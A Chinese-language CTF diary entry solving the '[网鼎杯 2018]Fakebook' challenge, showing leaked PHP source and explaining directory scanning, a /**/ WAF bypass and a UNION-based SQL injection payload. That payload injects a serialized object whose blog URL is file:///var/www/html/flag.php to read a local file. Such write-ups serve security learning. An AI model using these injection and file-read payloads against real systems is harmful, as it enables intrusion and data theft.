Buu摸鱼日记(3)

 

buu摸鱼日记(3)

[网鼎杯 2018]Fakebook

说实话,看完了这个题目,我停止了思考

知识点过多,感觉需要花几天理一下

注册了一个账号,登进去,没思路了,也没看见什么公告板什么的(XSS)

不过,看了下wp,倒是把思路整理了出来了

(这是sql注入我真没想到)

首先先素质二连,拿起御剑/dirsearch …工具先扫一遍

然后会发现robot.txt和几个php什么的(有的能直接扫到flag.php(我没扫出来))

以及一个非常关键的东西:user.php.bak

可以发现他是经过了序列化的

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
#非常明显,name age blog这些量是通过对象装的,

order by 测出来4个行,

union select了下,发现明显有waf

用/**/代替空格

-1/**/union/**/select/**/1,2,3,4

2会有正常回显其他则会显示错误,且会报错(Notice: Trying to get property of non-object in /var/www/html/view.php on line 56

爆出根目录位置以及验证了对象序列化

之后就爆字段爆表名(可能是因为我没怎么玩过后端,写起来老费劲了)

最后会发现会爆出一个反序列化对象(其实爆不爆无所谓)

按照上面的序列new一个对象,进行序列化导入。即可拿到flag

payload:

?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

这个题目其实不难,就是个巨大的缝合怪。各个点都很简单(但就是没想到)。由于基础不扎实,感觉还是需要补充一下基础姿势

这里的点有:反序列化 sql 注入 以及工具的利用什么的

还是要打好基础